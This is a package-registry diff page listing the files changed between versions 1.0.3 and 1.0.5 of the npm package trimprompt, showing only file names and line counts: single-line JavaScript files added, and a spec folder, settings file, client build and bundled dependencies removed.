trimprompt 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1024) hide show
  1. package/cli.js +2 -0
  2. package/dashboard.js +1 -0
  3. package/executor.js +1 -0
  4. package/filters/devops.js +1 -0
  5. package/filters/generic.js +1 -0
  6. package/filters/git.js +1 -0
  7. package/filters/go.js +1 -0
  8. package/filters/index.js +1 -0
  9. package/filters/js.js +1 -0
  10. package/filters/python.js +1 -0
  11. package/filters/rust.js +1 -0
  12. package/filters/shell.js +1 -0
  13. package/mcp.js +1 -0
  14. package/package.json +21 -29
  15. package/redactor.js +1 -0
  16. package/seed.js +1 -0
  17. package/shims.js +1 -0
  18. package/simulate.js +1 -0
  19. package/sync.js +1 -0
  20. package/tracker.js +1 -0
  21. package/.claude/settings.local.json +0 -7
  22. package/aicg-spec/README.md +0 -55
  23. package/aicg-spec/architecture.md +0 -263
  24. package/aicg-spec/dsl-spec.md +0 -109
  25. package/aicg-spec/insights/cargo.md +0 -46
  26. package/aicg-spec/insights/cloud_cli.md +0 -38
  27. package/aicg-spec/insights/docker_k8s.md +0 -45
  28. package/aicg-spec/insights/generic.md +0 -62
  29. package/aicg-spec/insights/git.md +0 -85
  30. package/aicg-spec/insights/js.md +0 -74
  31. package/aicg-spec/insights/python.md +0 -86
  32. package/aicg-spec/integrations/claude.md +0 -57
  33. package/aicg-spec/integrations/copilot.md +0 -69
  34. package/aicg-spec/integrations/cursor.md +0 -59
  35. package/aicg-spec/rules.yaml +0 -555
  36. package/aicg-spec/schema.md +0 -93
  37. package/aicg-spec/ui-spec.md +0 -135
  38. package/client/dist/cli.js +0 -256
  39. package/client/dist/dashboard.js +0 -102
  40. package/client/dist/executor.js +0 -80
  41. package/client/dist/filters/generic.js +0 -58
  42. package/client/dist/filters/git.js +0 -157
  43. package/client/dist/filters/index.js +0 -83
  44. package/client/dist/filters/js.js +0 -78
  45. package/client/dist/filters/python.js +0 -130
  46. package/client/dist/mcp.js +0 -90
  47. package/client/dist/redactor.js +0 -42
  48. package/client/dist/seed.js +0 -11
  49. package/client/dist/shims.js +0 -169
  50. package/client/dist/simulate.js +0 -76
  51. package/client/dist/sync.js +0 -237
  52. package/client/dist/tracker.js +0 -247
  53. package/client/node_modules/.bin/is-docker +0 -16
  54. package/client/node_modules/.bin/is-docker.cmd +0 -17
  55. package/client/node_modules/.bin/is-docker.ps1 +0 -28
  56. package/client/node_modules/.bin/mime +0 -16
  57. package/client/node_modules/.bin/mime.cmd +0 -17
  58. package/client/node_modules/.bin/mime.ps1 +0 -28
  59. package/client/node_modules/.bin/tsc +0 -16
  60. package/client/node_modules/.bin/tsc.cmd +0 -17
  61. package/client/node_modules/.bin/tsc.ps1 +0 -28
  62. package/client/node_modules/.bin/tsserver +0 -16
  63. package/client/node_modules/.bin/tsserver.cmd +0 -17
  64. package/client/node_modules/.bin/tsserver.ps1 +0 -28
  65. package/client/node_modules/.package-lock.json +0 -934
  66. package/client/node_modules/@types/body-parser/LICENSE +0 -21
  67. package/client/node_modules/@types/body-parser/README.md +0 -15
  68. package/client/node_modules/@types/body-parser/index.d.ts +0 -95
  69. package/client/node_modules/@types/body-parser/package.json +0 -64
  70. package/client/node_modules/@types/connect/LICENSE +0 -21
  71. package/client/node_modules/@types/connect/README.md +0 -15
  72. package/client/node_modules/@types/connect/index.d.ts +0 -91
  73. package/client/node_modules/@types/connect/package.json +0 -32
  74. package/client/node_modules/@types/express/LICENSE +0 -21
  75. package/client/node_modules/@types/express/README.md +0 -15
  76. package/client/node_modules/@types/express/index.d.ts +0 -128
  77. package/client/node_modules/@types/express/package.json +0 -46
  78. package/client/node_modules/@types/express-serve-static-core/LICENSE +0 -21
  79. package/client/node_modules/@types/express-serve-static-core/README.md +0 -15
  80. package/client/node_modules/@types/express-serve-static-core/index.d.ts +0 -1281
  81. package/client/node_modules/@types/express-serve-static-core/package.json +0 -51
  82. package/client/node_modules/@types/http-errors/LICENSE +0 -21
  83. package/client/node_modules/@types/http-errors/README.md +0 -15
  84. package/client/node_modules/@types/http-errors/index.d.ts +0 -77
  85. package/client/node_modules/@types/http-errors/package.json +0 -36
  86. package/client/node_modules/@types/mime/LICENSE +0 -21
  87. package/client/node_modules/@types/mime/Mime.d.ts +0 -10
  88. package/client/node_modules/@types/mime/README.md +0 -15
  89. package/client/node_modules/@types/mime/index.d.ts +0 -31
  90. package/client/node_modules/@types/mime/lite.d.ts +0 -7
  91. package/client/node_modules/@types/mime/package.json +0 -30
  92. package/client/node_modules/@types/node/LICENSE +0 -21
  93. package/client/node_modules/@types/node/README.md +0 -15
  94. package/client/node_modules/@types/node/assert/strict.d.ts +0 -8
  95. package/client/node_modules/@types/node/assert.d.ts +0 -1062
  96. package/client/node_modules/@types/node/async_hooks.d.ts +0 -605
  97. package/client/node_modules/@types/node/buffer.buffer.d.ts +0 -471
  98. package/client/node_modules/@types/node/buffer.d.ts +0 -1936
  99. package/client/node_modules/@types/node/child_process.d.ts +0 -1475
  100. package/client/node_modules/@types/node/cluster.d.ts +0 -577
  101. package/client/node_modules/@types/node/compatibility/disposable.d.ts +0 -16
  102. package/client/node_modules/@types/node/compatibility/index.d.ts +0 -9
  103. package/client/node_modules/@types/node/compatibility/indexable.d.ts +0 -20
  104. package/client/node_modules/@types/node/compatibility/iterators.d.ts +0 -21
  105. package/client/node_modules/@types/node/console.d.ts +0 -452
  106. package/client/node_modules/@types/node/constants.d.ts +0 -21
  107. package/client/node_modules/@types/node/crypto.d.ts +0 -4590
  108. package/client/node_modules/@types/node/dgram.d.ts +0 -597
  109. package/client/node_modules/@types/node/diagnostics_channel.d.ts +0 -578
  110. package/client/node_modules/@types/node/dns/promises.d.ts +0 -479
  111. package/client/node_modules/@types/node/dns.d.ts +0 -871
  112. package/client/node_modules/@types/node/domain.d.ts +0 -170
  113. package/client/node_modules/@types/node/events.d.ts +0 -977
  114. package/client/node_modules/@types/node/fs/promises.d.ts +0 -1270
  115. package/client/node_modules/@types/node/fs.d.ts +0 -4375
  116. package/client/node_modules/@types/node/globals.d.ts +0 -172
  117. package/client/node_modules/@types/node/globals.typedarray.d.ts +0 -38
  118. package/client/node_modules/@types/node/http.d.ts +0 -2049
  119. package/client/node_modules/@types/node/http2.d.ts +0 -2712
  120. package/client/node_modules/@types/node/https.d.ts +0 -578
  121. package/client/node_modules/@types/node/index.d.ts +0 -93
  122. package/client/node_modules/@types/node/inspector.generated.d.ts +0 -3966
  123. package/client/node_modules/@types/node/module.d.ts +0 -539
  124. package/client/node_modules/@types/node/net.d.ts +0 -1031
  125. package/client/node_modules/@types/node/os.d.ts +0 -506
  126. package/client/node_modules/@types/node/package.json +0 -140
  127. package/client/node_modules/@types/node/path.d.ts +0 -200
  128. package/client/node_modules/@types/node/perf_hooks.d.ts +0 -961
  129. package/client/node_modules/@types/node/process.d.ts +0 -1961
  130. package/client/node_modules/@types/node/punycode.d.ts +0 -117
  131. package/client/node_modules/@types/node/querystring.d.ts +0 -152
  132. package/client/node_modules/@types/node/readline/promises.d.ts +0 -162
  133. package/client/node_modules/@types/node/readline.d.ts +0 -589
  134. package/client/node_modules/@types/node/repl.d.ts +0 -430
  135. package/client/node_modules/@types/node/sea.d.ts +0 -153
  136. package/client/node_modules/@types/node/stream/consumers.d.ts +0 -38
  137. package/client/node_modules/@types/node/stream/promises.d.ts +0 -90
  138. package/client/node_modules/@types/node/stream/web.d.ts +0 -533
  139. package/client/node_modules/@types/node/stream.d.ts +0 -1698
  140. package/client/node_modules/@types/node/string_decoder.d.ts +0 -67
  141. package/client/node_modules/@types/node/test.d.ts +0 -1787
  142. package/client/node_modules/@types/node/timers/promises.d.ts +0 -108
  143. package/client/node_modules/@types/node/timers.d.ts +0 -286
  144. package/client/node_modules/@types/node/tls.d.ts +0 -1259
  145. package/client/node_modules/@types/node/trace_events.d.ts +0 -197
  146. package/client/node_modules/@types/node/ts5.6/buffer.buffer.d.ts +0 -468
  147. package/client/node_modules/@types/node/ts5.6/globals.typedarray.d.ts +0 -34
  148. package/client/node_modules/@types/node/ts5.6/index.d.ts +0 -93
  149. package/client/node_modules/@types/node/tty.d.ts +0 -208
  150. package/client/node_modules/@types/node/url.d.ts +0 -964
  151. package/client/node_modules/@types/node/util.d.ts +0 -2331
  152. package/client/node_modules/@types/node/v8.d.ts +0 -809
  153. package/client/node_modules/@types/node/vm.d.ts +0 -1001
  154. package/client/node_modules/@types/node/wasi.d.ts +0 -181
  155. package/client/node_modules/@types/node/web-globals/abortcontroller.d.ts +0 -34
  156. package/client/node_modules/@types/node/web-globals/domexception.d.ts +0 -68
  157. package/client/node_modules/@types/node/web-globals/events.d.ts +0 -97
  158. package/client/node_modules/@types/node/web-globals/fetch.d.ts +0 -55
  159. package/client/node_modules/@types/node/worker_threads.d.ts +0 -715
  160. package/client/node_modules/@types/node/zlib.d.ts +0 -598
  161. package/client/node_modules/@types/qs/LICENSE +0 -21
  162. package/client/node_modules/@types/qs/README.md +0 -15
  163. package/client/node_modules/@types/qs/index.d.ts +0 -83
  164. package/client/node_modules/@types/qs/package.json +0 -66
  165. package/client/node_modules/@types/range-parser/LICENSE +0 -21
  166. package/client/node_modules/@types/range-parser/README.md +0 -53
  167. package/client/node_modules/@types/range-parser/index.d.ts +0 -34
  168. package/client/node_modules/@types/range-parser/package.json +0 -25
  169. package/client/node_modules/@types/send/LICENSE +0 -21
  170. package/client/node_modules/@types/send/README.md +0 -15
  171. package/client/node_modules/@types/send/index.d.ts +0 -187
  172. package/client/node_modules/@types/send/package.json +0 -38
  173. package/client/node_modules/@types/serve-static/LICENSE +0 -21
  174. package/client/node_modules/@types/serve-static/README.md +0 -15
  175. package/client/node_modules/@types/serve-static/index.d.ts +0 -107
  176. package/client/node_modules/@types/serve-static/node_modules/@types/send/LICENSE +0 -21
  177. package/client/node_modules/@types/serve-static/node_modules/@types/send/README.md +0 -15
  178. package/client/node_modules/@types/serve-static/node_modules/@types/send/index.d.ts +0 -225
  179. package/client/node_modules/@types/serve-static/node_modules/@types/send/package.json +0 -39
  180. package/client/node_modules/@types/serve-static/package.json +0 -45
  181. package/client/node_modules/accepts/HISTORY.md +0 -243
  182. package/client/node_modules/accepts/LICENSE +0 -23
  183. package/client/node_modules/accepts/README.md +0 -140
  184. package/client/node_modules/accepts/index.js +0 -238
  185. package/client/node_modules/accepts/package.json +0 -47
  186. package/client/node_modules/array-flatten/LICENSE +0 -21
  187. package/client/node_modules/array-flatten/README.md +0 -43
  188. package/client/node_modules/array-flatten/array-flatten.js +0 -64
  189. package/client/node_modules/array-flatten/package.json +0 -39
  190. package/client/node_modules/body-parser/HISTORY.md +0 -686
  191. package/client/node_modules/body-parser/LICENSE +0 -23
  192. package/client/node_modules/body-parser/README.md +0 -476
  193. package/client/node_modules/body-parser/index.js +0 -156
  194. package/client/node_modules/body-parser/lib/read.js +0 -205
  195. package/client/node_modules/body-parser/lib/types/json.js +0 -243
  196. package/client/node_modules/body-parser/lib/types/raw.js +0 -101
  197. package/client/node_modules/body-parser/lib/types/text.js +0 -121
  198. package/client/node_modules/body-parser/lib/types/urlencoded.js +0 -299
  199. package/client/node_modules/body-parser/package.json +0 -55
  200. package/client/node_modules/bytes/History.md +0 -97
  201. package/client/node_modules/bytes/LICENSE +0 -23
  202. package/client/node_modules/bytes/Readme.md +0 -152
  203. package/client/node_modules/bytes/index.js +0 -170
  204. package/client/node_modules/bytes/package.json +0 -42
  205. package/client/node_modules/call-bind-apply-helpers/.eslintrc +0 -17
  206. package/client/node_modules/call-bind-apply-helpers/.github/FUNDING.yml +0 -12
  207. package/client/node_modules/call-bind-apply-helpers/.nycrc +0 -9
  208. package/client/node_modules/call-bind-apply-helpers/CHANGELOG.md +0 -30
  209. package/client/node_modules/call-bind-apply-helpers/LICENSE +0 -21
  210. package/client/node_modules/call-bind-apply-helpers/README.md +0 -62
  211. package/client/node_modules/call-bind-apply-helpers/actualApply.d.ts +0 -1
  212. package/client/node_modules/call-bind-apply-helpers/actualApply.js +0 -10
  213. package/client/node_modules/call-bind-apply-helpers/applyBind.d.ts +0 -19
  214. package/client/node_modules/call-bind-apply-helpers/applyBind.js +0 -10
  215. package/client/node_modules/call-bind-apply-helpers/functionApply.d.ts +0 -1
  216. package/client/node_modules/call-bind-apply-helpers/functionApply.js +0 -4
  217. package/client/node_modules/call-bind-apply-helpers/functionCall.d.ts +0 -1
  218. package/client/node_modules/call-bind-apply-helpers/functionCall.js +0 -4
  219. package/client/node_modules/call-bind-apply-helpers/index.d.ts +0 -64
  220. package/client/node_modules/call-bind-apply-helpers/index.js +0 -15
  221. package/client/node_modules/call-bind-apply-helpers/package.json +0 -85
  222. package/client/node_modules/call-bind-apply-helpers/reflectApply.d.ts +0 -3
  223. package/client/node_modules/call-bind-apply-helpers/reflectApply.js +0 -4
  224. package/client/node_modules/call-bind-apply-helpers/test/index.js +0 -63
  225. package/client/node_modules/call-bind-apply-helpers/tsconfig.json +0 -9
  226. package/client/node_modules/call-bound/.eslintrc +0 -13
  227. package/client/node_modules/call-bound/.github/FUNDING.yml +0 -12
  228. package/client/node_modules/call-bound/.nycrc +0 -9
  229. package/client/node_modules/call-bound/CHANGELOG.md +0 -42
  230. package/client/node_modules/call-bound/LICENSE +0 -21
  231. package/client/node_modules/call-bound/README.md +0 -53
  232. package/client/node_modules/call-bound/index.d.ts +0 -94
  233. package/client/node_modules/call-bound/index.js +0 -19
  234. package/client/node_modules/call-bound/package.json +0 -99
  235. package/client/node_modules/call-bound/test/index.js +0 -61
  236. package/client/node_modules/call-bound/tsconfig.json +0 -10
  237. package/client/node_modules/commander/LICENSE +0 -22
  238. package/client/node_modules/commander/Readme.md +0 -1148
  239. package/client/node_modules/commander/esm.mjs +0 -16
  240. package/client/node_modules/commander/index.js +0 -26
  241. package/client/node_modules/commander/lib/argument.js +0 -145
  242. package/client/node_modules/commander/lib/command.js +0 -2179
  243. package/client/node_modules/commander/lib/error.js +0 -43
  244. package/client/node_modules/commander/lib/help.js +0 -462
  245. package/client/node_modules/commander/lib/option.js +0 -329
  246. package/client/node_modules/commander/lib/suggestSimilar.js +0 -100
  247. package/client/node_modules/commander/package-support.json +0 -16
  248. package/client/node_modules/commander/package.json +0 -80
  249. package/client/node_modules/commander/typings/esm.d.mts +0 -3
  250. package/client/node_modules/commander/typings/index.d.ts +0 -884
  251. package/client/node_modules/content-disposition/HISTORY.md +0 -60
  252. package/client/node_modules/content-disposition/LICENSE +0 -22
  253. package/client/node_modules/content-disposition/README.md +0 -142
  254. package/client/node_modules/content-disposition/index.js +0 -458
  255. package/client/node_modules/content-disposition/package.json +0 -44
  256. package/client/node_modules/content-type/HISTORY.md +0 -29
  257. package/client/node_modules/content-type/LICENSE +0 -22
  258. package/client/node_modules/content-type/README.md +0 -94
  259. package/client/node_modules/content-type/index.js +0 -225
  260. package/client/node_modules/content-type/package.json +0 -42
  261. package/client/node_modules/cookie/LICENSE +0 -24
  262. package/client/node_modules/cookie/README.md +0 -317
  263. package/client/node_modules/cookie/SECURITY.md +0 -25
  264. package/client/node_modules/cookie/index.js +0 -335
  265. package/client/node_modules/cookie/package.json +0 -44
  266. package/client/node_modules/cookie-signature/History.md +0 -42
  267. package/client/node_modules/cookie-signature/Readme.md +0 -42
  268. package/client/node_modules/cookie-signature/index.js +0 -51
  269. package/client/node_modules/cookie-signature/package.json +0 -18
  270. package/client/node_modules/debug/.coveralls.yml +0 -1
  271. package/client/node_modules/debug/.eslintrc +0 -11
  272. package/client/node_modules/debug/.travis.yml +0 -14
  273. package/client/node_modules/debug/CHANGELOG.md +0 -362
  274. package/client/node_modules/debug/LICENSE +0 -19
  275. package/client/node_modules/debug/Makefile +0 -50
  276. package/client/node_modules/debug/README.md +0 -312
  277. package/client/node_modules/debug/component.json +0 -19
  278. package/client/node_modules/debug/karma.conf.js +0 -70
  279. package/client/node_modules/debug/node.js +0 -1
  280. package/client/node_modules/debug/package.json +0 -49
  281. package/client/node_modules/debug/src/browser.js +0 -185
  282. package/client/node_modules/debug/src/debug.js +0 -202
  283. package/client/node_modules/debug/src/index.js +0 -10
  284. package/client/node_modules/debug/src/inspector-log.js +0 -15
  285. package/client/node_modules/debug/src/node.js +0 -248
  286. package/client/node_modules/define-lazy-prop/index.d.ts +0 -33
  287. package/client/node_modules/define-lazy-prop/index.js +0 -19
  288. package/client/node_modules/define-lazy-prop/license +0 -9
  289. package/client/node_modules/define-lazy-prop/package.json +0 -48
  290. package/client/node_modules/define-lazy-prop/readme.md +0 -64
  291. package/client/node_modules/depd/History.md +0 -103
  292. package/client/node_modules/depd/LICENSE +0 -22
  293. package/client/node_modules/depd/Readme.md +0 -280
  294. package/client/node_modules/depd/index.js +0 -538
  295. package/client/node_modules/depd/lib/browser/index.js +0 -77
  296. package/client/node_modules/depd/package.json +0 -45
  297. package/client/node_modules/destroy/LICENSE +0 -23
  298. package/client/node_modules/destroy/README.md +0 -63
  299. package/client/node_modules/destroy/index.js +0 -209
  300. package/client/node_modules/destroy/package.json +0 -48
  301. package/client/node_modules/dunder-proto/.eslintrc +0 -5
  302. package/client/node_modules/dunder-proto/.github/FUNDING.yml +0 -12
  303. package/client/node_modules/dunder-proto/.nycrc +0 -13
  304. package/client/node_modules/dunder-proto/CHANGELOG.md +0 -24
  305. package/client/node_modules/dunder-proto/LICENSE +0 -21
  306. package/client/node_modules/dunder-proto/README.md +0 -54
  307. package/client/node_modules/dunder-proto/get.d.ts +0 -5
  308. package/client/node_modules/dunder-proto/get.js +0 -30
  309. package/client/node_modules/dunder-proto/package.json +0 -76
  310. package/client/node_modules/dunder-proto/set.d.ts +0 -5
  311. package/client/node_modules/dunder-proto/set.js +0 -35
  312. package/client/node_modules/dunder-proto/test/get.js +0 -34
  313. package/client/node_modules/dunder-proto/test/index.js +0 -4
  314. package/client/node_modules/dunder-proto/test/set.js +0 -50
  315. package/client/node_modules/dunder-proto/tsconfig.json +0 -9
  316. package/client/node_modules/ee-first/LICENSE +0 -22
  317. package/client/node_modules/ee-first/README.md +0 -80
  318. package/client/node_modules/ee-first/index.js +0 -95
  319. package/client/node_modules/ee-first/package.json +0 -29
  320. package/client/node_modules/encodeurl/LICENSE +0 -22
  321. package/client/node_modules/encodeurl/README.md +0 -109
  322. package/client/node_modules/encodeurl/index.js +0 -60
  323. package/client/node_modules/encodeurl/package.json +0 -40
  324. package/client/node_modules/es-define-property/.eslintrc +0 -13
  325. package/client/node_modules/es-define-property/.github/FUNDING.yml +0 -12
  326. package/client/node_modules/es-define-property/.nycrc +0 -9
  327. package/client/node_modules/es-define-property/CHANGELOG.md +0 -29
  328. package/client/node_modules/es-define-property/LICENSE +0 -21
  329. package/client/node_modules/es-define-property/README.md +0 -49
  330. package/client/node_modules/es-define-property/index.d.ts +0 -3
  331. package/client/node_modules/es-define-property/index.js +0 -14
  332. package/client/node_modules/es-define-property/package.json +0 -81
  333. package/client/node_modules/es-define-property/test/index.js +0 -56
  334. package/client/node_modules/es-define-property/tsconfig.json +0 -10
  335. package/client/node_modules/es-errors/.eslintrc +0 -5
  336. package/client/node_modules/es-errors/.github/FUNDING.yml +0 -12
  337. package/client/node_modules/es-errors/CHANGELOG.md +0 -40
  338. package/client/node_modules/es-errors/LICENSE +0 -21
  339. package/client/node_modules/es-errors/README.md +0 -55
  340. package/client/node_modules/es-errors/eval.d.ts +0 -3
  341. package/client/node_modules/es-errors/eval.js +0 -4
  342. package/client/node_modules/es-errors/index.d.ts +0 -3
  343. package/client/node_modules/es-errors/index.js +0 -4
  344. package/client/node_modules/es-errors/package.json +0 -80
  345. package/client/node_modules/es-errors/range.d.ts +0 -3
  346. package/client/node_modules/es-errors/range.js +0 -4
  347. package/client/node_modules/es-errors/ref.d.ts +0 -3
  348. package/client/node_modules/es-errors/ref.js +0 -4
  349. package/client/node_modules/es-errors/syntax.d.ts +0 -3
  350. package/client/node_modules/es-errors/syntax.js +0 -4
  351. package/client/node_modules/es-errors/test/index.js +0 -19
  352. package/client/node_modules/es-errors/tsconfig.json +0 -49
  353. package/client/node_modules/es-errors/type.d.ts +0 -3
  354. package/client/node_modules/es-errors/type.js +0 -4
  355. package/client/node_modules/es-errors/uri.d.ts +0 -3
  356. package/client/node_modules/es-errors/uri.js +0 -4
  357. package/client/node_modules/es-object-atoms/.eslintrc +0 -16
  358. package/client/node_modules/es-object-atoms/.github/FUNDING.yml +0 -12
  359. package/client/node_modules/es-object-atoms/CHANGELOG.md +0 -44
  360. package/client/node_modules/es-object-atoms/LICENSE +0 -21
  361. package/client/node_modules/es-object-atoms/README.md +0 -63
  362. package/client/node_modules/es-object-atoms/RequireObjectCoercible.d.ts +0 -3
  363. package/client/node_modules/es-object-atoms/RequireObjectCoercible.js +0 -11
  364. package/client/node_modules/es-object-atoms/ToObject.d.ts +0 -7
  365. package/client/node_modules/es-object-atoms/ToObject.js +0 -10
  366. package/client/node_modules/es-object-atoms/index.d.ts +0 -3
  367. package/client/node_modules/es-object-atoms/index.js +0 -4
  368. package/client/node_modules/es-object-atoms/isObject.d.ts +0 -3
  369. package/client/node_modules/es-object-atoms/isObject.js +0 -6
  370. package/client/node_modules/es-object-atoms/package.json +0 -79
  371. package/client/node_modules/es-object-atoms/test/index.js +0 -38
  372. package/client/node_modules/es-object-atoms/tsconfig.json +0 -7
  373. package/client/node_modules/escape-html/LICENSE +0 -24
  374. package/client/node_modules/escape-html/Readme.md +0 -43
  375. package/client/node_modules/escape-html/index.js +0 -78
  376. package/client/node_modules/escape-html/package.json +0 -24
  377. package/client/node_modules/etag/HISTORY.md +0 -83
  378. package/client/node_modules/etag/LICENSE +0 -22
  379. package/client/node_modules/etag/README.md +0 -159
  380. package/client/node_modules/etag/index.js +0 -131
  381. package/client/node_modules/etag/package.json +0 -47
  382. package/client/node_modules/express/History.md +0 -3676
  383. package/client/node_modules/express/LICENSE +0 -24
  384. package/client/node_modules/express/Readme.md +0 -260
  385. package/client/node_modules/express/index.js +0 -11
  386. package/client/node_modules/express/lib/application.js +0 -661
  387. package/client/node_modules/express/lib/express.js +0 -116
  388. package/client/node_modules/express/lib/middleware/init.js +0 -43
  389. package/client/node_modules/express/lib/middleware/query.js +0 -47
  390. package/client/node_modules/express/lib/request.js +0 -525
  391. package/client/node_modules/express/lib/response.js +0 -1179
  392. package/client/node_modules/express/lib/router/index.js +0 -673
  393. package/client/node_modules/express/lib/router/layer.js +0 -181
  394. package/client/node_modules/express/lib/router/route.js +0 -230
  395. package/client/node_modules/express/lib/utils.js +0 -304
  396. package/client/node_modules/express/lib/view.js +0 -182
  397. package/client/node_modules/express/package.json +0 -102
  398. package/client/node_modules/finalhandler/HISTORY.md +0 -216
  399. package/client/node_modules/finalhandler/LICENSE +0 -22
  400. package/client/node_modules/finalhandler/README.md +0 -147
  401. package/client/node_modules/finalhandler/SECURITY.md +0 -25
  402. package/client/node_modules/finalhandler/index.js +0 -341
  403. package/client/node_modules/finalhandler/package.json +0 -47
  404. package/client/node_modules/forwarded/HISTORY.md +0 -21
  405. package/client/node_modules/forwarded/LICENSE +0 -22
  406. package/client/node_modules/forwarded/README.md +0 -57
  407. package/client/node_modules/forwarded/index.js +0 -90
  408. package/client/node_modules/forwarded/package.json +0 -45
  409. package/client/node_modules/fresh/HISTORY.md +0 -70
  410. package/client/node_modules/fresh/LICENSE +0 -23
  411. package/client/node_modules/fresh/README.md +0 -119
  412. package/client/node_modules/fresh/index.js +0 -137
  413. package/client/node_modules/fresh/package.json +0 -46
  414. package/client/node_modules/function-bind/.eslintrc +0 -21
  415. package/client/node_modules/function-bind/.github/FUNDING.yml +0 -12
  416. package/client/node_modules/function-bind/.github/SECURITY.md +0 -3
  417. package/client/node_modules/function-bind/.nycrc +0 -13
  418. package/client/node_modules/function-bind/CHANGELOG.md +0 -136
  419. package/client/node_modules/function-bind/LICENSE +0 -20
  420. package/client/node_modules/function-bind/README.md +0 -46
  421. package/client/node_modules/function-bind/implementation.js +0 -84
  422. package/client/node_modules/function-bind/index.js +0 -5
  423. package/client/node_modules/function-bind/package.json +0 -87
  424. package/client/node_modules/function-bind/test/.eslintrc +0 -9
  425. package/client/node_modules/function-bind/test/index.js +0 -252
  426. package/client/node_modules/get-intrinsic/.eslintrc +0 -42
  427. package/client/node_modules/get-intrinsic/.github/FUNDING.yml +0 -12
  428. package/client/node_modules/get-intrinsic/.nycrc +0 -9
  429. package/client/node_modules/get-intrinsic/CHANGELOG.md +0 -186
  430. package/client/node_modules/get-intrinsic/LICENSE +0 -21
  431. package/client/node_modules/get-intrinsic/README.md +0 -71
  432. package/client/node_modules/get-intrinsic/index.js +0 -378
  433. package/client/node_modules/get-intrinsic/package.json +0 -97
  434. package/client/node_modules/get-intrinsic/test/GetIntrinsic.js +0 -274
  435. package/client/node_modules/get-proto/.eslintrc +0 -10
  436. package/client/node_modules/get-proto/.github/FUNDING.yml +0 -12
  437. package/client/node_modules/get-proto/.nycrc +0 -9
  438. package/client/node_modules/get-proto/CHANGELOG.md +0 -21
  439. package/client/node_modules/get-proto/LICENSE +0 -21
  440. package/client/node_modules/get-proto/Object.getPrototypeOf.d.ts +0 -5
  441. package/client/node_modules/get-proto/Object.getPrototypeOf.js +0 -6
  442. package/client/node_modules/get-proto/README.md +0 -50
  443. package/client/node_modules/get-proto/Reflect.getPrototypeOf.d.ts +0 -3
  444. package/client/node_modules/get-proto/Reflect.getPrototypeOf.js +0 -4
  445. package/client/node_modules/get-proto/index.d.ts +0 -5
  446. package/client/node_modules/get-proto/index.js +0 -27
  447. package/client/node_modules/get-proto/package.json +0 -81
  448. package/client/node_modules/get-proto/test/index.js +0 -68
  449. package/client/node_modules/get-proto/tsconfig.json +0 -9
  450. package/client/node_modules/gopd/.eslintrc +0 -16
  451. package/client/node_modules/gopd/.github/FUNDING.yml +0 -12
  452. package/client/node_modules/gopd/CHANGELOG.md +0 -45
  453. package/client/node_modules/gopd/LICENSE +0 -21
  454. package/client/node_modules/gopd/README.md +0 -40
  455. package/client/node_modules/gopd/gOPD.d.ts +0 -1
  456. package/client/node_modules/gopd/gOPD.js +0 -4
  457. package/client/node_modules/gopd/index.d.ts +0 -5
  458. package/client/node_modules/gopd/index.js +0 -15
  459. package/client/node_modules/gopd/package.json +0 -77
  460. package/client/node_modules/gopd/test/index.js +0 -36
  461. package/client/node_modules/gopd/tsconfig.json +0 -9
  462. package/client/node_modules/has-symbols/.eslintrc +0 -11
  463. package/client/node_modules/has-symbols/.github/FUNDING.yml +0 -12
  464. package/client/node_modules/has-symbols/.nycrc +0 -9
  465. package/client/node_modules/has-symbols/CHANGELOG.md +0 -91
  466. package/client/node_modules/has-symbols/LICENSE +0 -21
  467. package/client/node_modules/has-symbols/README.md +0 -46
  468. package/client/node_modules/has-symbols/index.d.ts +0 -3
  469. package/client/node_modules/has-symbols/index.js +0 -14
  470. package/client/node_modules/has-symbols/package.json +0 -111
  471. package/client/node_modules/has-symbols/shams.d.ts +0 -3
  472. package/client/node_modules/has-symbols/shams.js +0 -45
  473. package/client/node_modules/has-symbols/test/index.js +0 -22
  474. package/client/node_modules/has-symbols/test/shams/core-js.js +0 -29
  475. package/client/node_modules/has-symbols/test/shams/get-own-property-symbols.js +0 -29
  476. package/client/node_modules/has-symbols/test/tests.js +0 -58
  477. package/client/node_modules/has-symbols/tsconfig.json +0 -10
  478. package/client/node_modules/hasown/.github/FUNDING.yml +0 -12
  479. package/client/node_modules/hasown/.nycrc +0 -13
  480. package/client/node_modules/hasown/CHANGELOG.md +0 -58
  481. package/client/node_modules/hasown/LICENSE +0 -21
  482. package/client/node_modules/hasown/README.md +0 -40
  483. package/client/node_modules/hasown/eslint.config.mjs +0 -6
  484. package/client/node_modules/hasown/index.d.ts +0 -3
  485. package/client/node_modules/hasown/index.js +0 -8
  486. package/client/node_modules/hasown/package.json +0 -91
  487. package/client/node_modules/hasown/tsconfig.json +0 -6
  488. package/client/node_modules/http-errors/HISTORY.md +0 -186
  489. package/client/node_modules/http-errors/LICENSE +0 -23
  490. package/client/node_modules/http-errors/README.md +0 -169
  491. package/client/node_modules/http-errors/index.js +0 -290
  492. package/client/node_modules/http-errors/package.json +0 -54
  493. package/client/node_modules/iconv-lite/Changelog.md +0 -162
  494. package/client/node_modules/iconv-lite/LICENSE +0 -21
  495. package/client/node_modules/iconv-lite/README.md +0 -156
  496. package/client/node_modules/iconv-lite/encodings/dbcs-codec.js +0 -555
  497. package/client/node_modules/iconv-lite/encodings/dbcs-data.js +0 -176
  498. package/client/node_modules/iconv-lite/encodings/index.js +0 -22
  499. package/client/node_modules/iconv-lite/encodings/internal.js +0 -188
  500. package/client/node_modules/iconv-lite/encodings/sbcs-codec.js +0 -72
  501. package/client/node_modules/iconv-lite/encodings/sbcs-data-generated.js +0 -451
  502. package/client/node_modules/iconv-lite/encodings/sbcs-data.js +0 -174
  503. package/client/node_modules/iconv-lite/encodings/tables/big5-added.json +0 -122
  504. package/client/node_modules/iconv-lite/encodings/tables/cp936.json +0 -264
  505. package/client/node_modules/iconv-lite/encodings/tables/cp949.json +0 -273
  506. package/client/node_modules/iconv-lite/encodings/tables/cp950.json +0 -177
  507. package/client/node_modules/iconv-lite/encodings/tables/eucjp.json +0 -182
  508. package/client/node_modules/iconv-lite/encodings/tables/gb18030-ranges.json +0 -1
  509. package/client/node_modules/iconv-lite/encodings/tables/gbk-added.json +0 -55
  510. package/client/node_modules/iconv-lite/encodings/tables/shiftjis.json +0 -125
  511. package/client/node_modules/iconv-lite/encodings/utf16.js +0 -177
  512. package/client/node_modules/iconv-lite/encodings/utf7.js +0 -290
  513. package/client/node_modules/iconv-lite/lib/bom-handling.js +0 -52
